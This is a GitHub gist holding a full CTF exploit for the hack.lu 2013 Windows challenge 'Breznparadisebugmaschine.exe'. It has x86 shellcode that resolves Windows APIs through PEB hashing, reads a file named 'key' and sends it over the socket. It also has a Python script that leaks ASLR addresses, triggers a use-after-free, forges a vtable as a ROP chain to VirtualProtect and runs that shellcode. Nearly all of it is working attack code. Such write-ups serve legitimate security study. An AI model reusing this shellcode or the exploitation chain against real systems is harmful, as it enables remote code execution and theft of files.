Skip to content

Instantly share code, notes, and snippets.

@NickStephens
Last active August 29, 2015 14:07
Show Gist options
  • Save NickStephens/98c1d5c0b7a80e449100 to your computer and use it in GitHub Desktop.
Save NickStephens/98c1d5c0b7a80e449100 to your computer and use it in GitHub Desktop.
Breznparadisebugmaschine.exe Exploit
BITS 32
; windows peb function finder
; most of this code taken from shell-storm
; and the shellcoder's handbook
global _start
Kernel32Hash equ 0x000d4e88
WS2_32Hash equ 0x0003ab08
LoadLibraryAHash equ 0x000d5786
GetProcAddressHash equ 0x00348bfa
sendHash equ 0x00000cd8
CreateFileAHash equ 0x00067746
ReadFileHash equ 0x0000d562
WriteFileHash equ 0x0001ca42
GetStdHandleHash equ 0x000d269a
ExitProcessHash equ 0x0006bc6a
; a pointer to our socket is in ecx
mov ecx, [ecx]
mov ecx, [ecx]
push ecx
; start off by finding CreateFileA
push Kernel32Hash
push CreateFileAHash
call findFunc
jmp short filenameGet
; all our functions are in kernel32.dll
filenameReturn:
pop ebx
jmp short continue
filenameGet:
call filenameReturn
db "key", 0
continue:
xor edx, edx
push edx ; template
push edx ; special flags
push 3 ; creation disposition, OPEN_EXISTING
push edx ; Security Attributes pointer, NULL
push edx ; No sharing
push 0x80000000 ; GENERIC_READ
push ebx ; "key"
call eax ; call CreateFile
; stash our file handle
push eax
push Kernel32Hash
push ReadFileHash
call findFunc
; call ReadFile(handle, esp-0x1000, 0x40, NULL)
xor edx, edx
; prepare buffer
mov ebx, esp
add ebx, 0x1000
mov edi, ebx
sub edi, 0x40
pop ecx ; grab handle
push edx ; NULL
push edi ; NULL
push 0x40 ; size
push ebx ; buffer
push ecx ; handle
call eax ; call ReadFile
;push Kernel32Hash
;push GetStdHandleHash
;call findFunc
; GetStdHandle(stdout)
;push -11
;call eax
;mov ecx, eax ; stash stdout handle
; send(sockethandle, esp-0xffc, 0x40, NULL)
push WS2_32Hash
push sendHash
call findFunc
; prepare buffer
mov ebx, esp
pop ecx
add ebx, 0xffc
xor edx, edx
push edx
push 0x40
push ebx
push ecx
call eax
; ExitProcess(1)
push Kernel32Hash
push ExitProcessHash
call findFunc
push 1
call eax
findFunc:
; prologue
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
push edi
xor edx, edx
xor ecx, ecx
mov esi, [fs:ecx+0x30] ; PEB
mov esi, [esi+0xc] ; PEB->Ldr
mov esi, [esi+0x1c] ; PEB->Ldr.InInitOrder
NextModule:
mov edx, [esi+0x8] ; Module base address
mov edi, [esi+0x20] ; Module name (in Unicode)
mov esi, [esi] ; next pointer
push 2 ; signal unicode
push edi ; push the module name
call hashit
cmp eax, [ebp+0xc]
jnz NextModule
; we now have the base address of kernel32.dll in edx
mov eax, edx
push eax
mov ebx, [eax+0x3c] ; IMAGE_DOS_HEADER.e_lfanew
add eax, ebx ; eax is now pointer to the PE
; PE->export_table
mov ebx, [eax+0x78]
pop eax
push eax ; restore the base address
add ebx, eax
; eax is now the export table
mov ecx, [ebx+28] ; ecx is the address table
mov edx, [ebx+32] ; edx is the name pointer table
mov ebx, [ebx+36] ; ebx is the oridinal table
; eax was restored to the base address
; correct the RVAs (relative virtual addresses)
add ecx, eax
add edx, eax
add ebx, eax
find_procedure:
mov esi, [edx]
pop eax
push eax ; do a base_address restore
add esi, eax
push 1 ; hash increment
push esi
call hashit
cmp eax, [ebp+0x8]
jz found_procedure
add edx, 4 ; increment name pointer
add ebx, 2 ; increment ordinal pointer
jmp find_procedure
; we found sleep!
found_procedure:
pop eax
xor edx, edx
mov dx, [ebx]
shl edx, 2
add ecx, edx
add eax, [ecx]
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp, ebp
pop ebp
; eax contains the function's address
ret 0x8
hashit:
push ebp
mov ebp, esp
push ecx
push ebx
push edx
xor ecx, ecx
xor ebx, ebx
xor edx, edx
mov eax, [ebp+0x8] ; target string
hashloop:
mov dl, [eax]
or dl, 0x60
add ebx, edx ; accumulate
shl ebx, 1
add eax, [ebp+0xc] ; add to eax ASCII of UNICODE flag
mov cl, [eax]
test cl, cl
jnz hashloop
mov eax, ebx
pop edx
pop ebx
pop ecx
mov esp, ebp
pop ebp
ret 0x8
#!/usr/bin/env python
import socket
import struct
import time
import telnetlib
# Breznparadisebugmaschine.exe -- hack.lu 2013, 500pts Exploitation
brezel_vtable_1 = 0x2f80
brezel_vtable_2 = 0x2fa0
brezel_vtable_3 = 0x2e90
brezel_vtable = 0x10f60
argv0 = 0x14bf8
clientHandler = 0x43e0
virtualprotect_ptr = 0xe008
virtualalloc_ptr = 0xe004
createprocessa_ptr = 0xe01c
read_in_name = 0x5003
#memmove = 0x54c0
memmove = 0x10d0
pop_eax = 0xc877
pop_ecx = 0xdf31
pop_ebp = 0x99e7
pop_esi = 0x8e70
pop_edi_esi = 0x8963
push_eax_call_esi = 0xab93
call_eax_off_4 = 0x1b1c
ret = 0xcace
stack_pivot = 0x1b24
def runtil(s, mesg):
buf = ""
while not mesg in buf:
buf += s.recv(1)
return buf
def xor(c, k):
out = ""
for i in c:
out += chr(ord(i) ^ k)
return out
def p(v):
return struct.pack("<I", v)
def u(v):
return struct.unpack("<I", v)[0]
def add_food(s, id, b, i, name):
s.send("0\n") # insert
runtil(s, "Semmel\n\n")
s.send(str(id) + "\n") # brezel
runtil(s, "\n\n")
s.send(str(b) + "\n") # bake time in increments of 5 seconds
runtil(s, "\n\n")
s.send(str(i) + "\n")
runtil(s, "\n\n")
s.send(str(name) + "\n")
def edit_food(s, id, portrait):
s.send("3\n")
runtil(s, "\n\n")
s.send(str(id) + "\n")
runtil(s, "\n\n")
s.send(portrait + "\n")
runtil(s, "\n\n")
# local
s = socket.create_connection(("192.168.0.4", 27015))
runtil(s, "Quit\n\n")
# allocate five brezels
for i in range(0, 4):
if (2 >i):
add_food(s, 0, 5, i, "BBBBB") # bake this brezel for a while
else:
add_food(s, 0, 3, i, "AAAAA")
runtil(s, "Quit\n\n")
# ASLR LEAK
# leak one of the brezels to get our aslr slide
s.send("2\n")
runtil(s, "ozeign:\n\n")
s.send("1\n")
runtil(s, "Semmel\n\n")
s.send("1\n")
dump = runtil(s, "Quit\n\n")
slide = dump[0x208:0x208+4]
heap = dump[0x214:0x214+4]
heap = u(heap) - 1128
slide = u(slide)
print "[+] heap ~:", hex(heap)
print "[+] brezel vtable:", hex(slide)
slide -= brezel_vtable
print "[+] slide:", hex(slide)
print "[+] stackpivot:", hex(slide + stack_pivot)
# turn oven on
s.send("5\n")
runtil(s, "Quit\n\n")
print "[!] sleeping"
time.sleep(4 * 5) # wait for it to bake
# turn oven off
s.send("6\n")
runtil(s, "Quit\n\n")
# activate robot, activate uaf
s.send("4\n")
runtil(s, "\n\n")
s.send("0\n")
runtil(s, "Quit\n\n")
time.sleep(5) # wait for robot to clear out oven
# turn off robot
s.send("4\n")
runtil(s, "\n\n")
s.send("1\n")
runtil(s, "\n\n")
# vtable now resides in the lau's portrait
# this is kind of dumb, not sure if it's avoidable
# needs to be a better way of predicting this
vtable = heap + (11200 - 0x18)
# this is our forgered vtable table, it also happens to be our rop chain
forgered_vtable = p(slide + stack_pivot)
forgered_vtable += p(slide + ret)
forgered_vtable += p(slide + brezel_vtable_3)
forgered_vtable += "A" * 8 # pad
forgered_vtable += p(slide + pop_eax)
# set up a call to VirtualProctect located in the imports
forgered_vtable += p(slide + virtualprotect_ptr - 4)
# pop ebp to stabilize chain for next call
forgered_vtable += p(slide + pop_ebp)
forgered_vtable += p(vtable + 56)
# do the call
forgered_vtable += p(slide + call_eax_off_4)
# args for VirtualProtect
forgered_vtable += p((heap & 0xffff0000)) # lpAddress
forgered_vtable += p(0x5000) # dwSize
forgered_vtable += p(0x40) # PAGE_EXECUTE_READWRITE
forgered_vtable += p(vtable - 4)
# the heap should now be executable, we jump to our shellcode next
forgered_vtable += "BBBB"
forgered_vtable += p(slide + pop_ecx) # jump into our shellcode
forgered_vtable += "JUNK" # padding for retn 0xc
forgered_vtable += "\xcc\xcc\xcc\xcc"
forgered_vtable += "\xcc\xcc\xcc\xcc"
forgered_vtable += p(heap)
forgered_vtable += p(vtable + 92)
forgered_vtable += "\xcc\xcc\xcc\xcc"
forgered_vtable += "\xcc\xcc\xcc\xcc"
forgered_vtable += "\x90" * 20
# append the readkey shellcode
# reads out the contents of the file 'key' and sends it to us
forgered_vtable += open('rkey').read()
# add a Laugenstangerl, the largest food item
add_food(s, 1, 30, 9, forgered_vtable)
runtil(s, "Quit\n\n")
# pad out payload
payload = "A" * 8
# pad the vtable out to the nearest sixteen bytes
payload += forgered_vtable
payload += (16 - (len(forgered_vtable) % 16)) * "A"
payload += (p(vtable) + p(3) + (p(5) * 2)) * 40
# revert the affects of baking caused by the cook_food thread
payload = xor(payload, 3)
payload = xor(payload, 48)
# smash the vtable
edit_food(s, 9, payload)
# turn oven on, this will dereference the smashed vtable
s.send("5\n")
runtil(s, "Quit\n\n")
# wait for the magic to happen
# shellcode should send the contents of 'key' over the wire
flag = s.recv(1024)
print flag
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment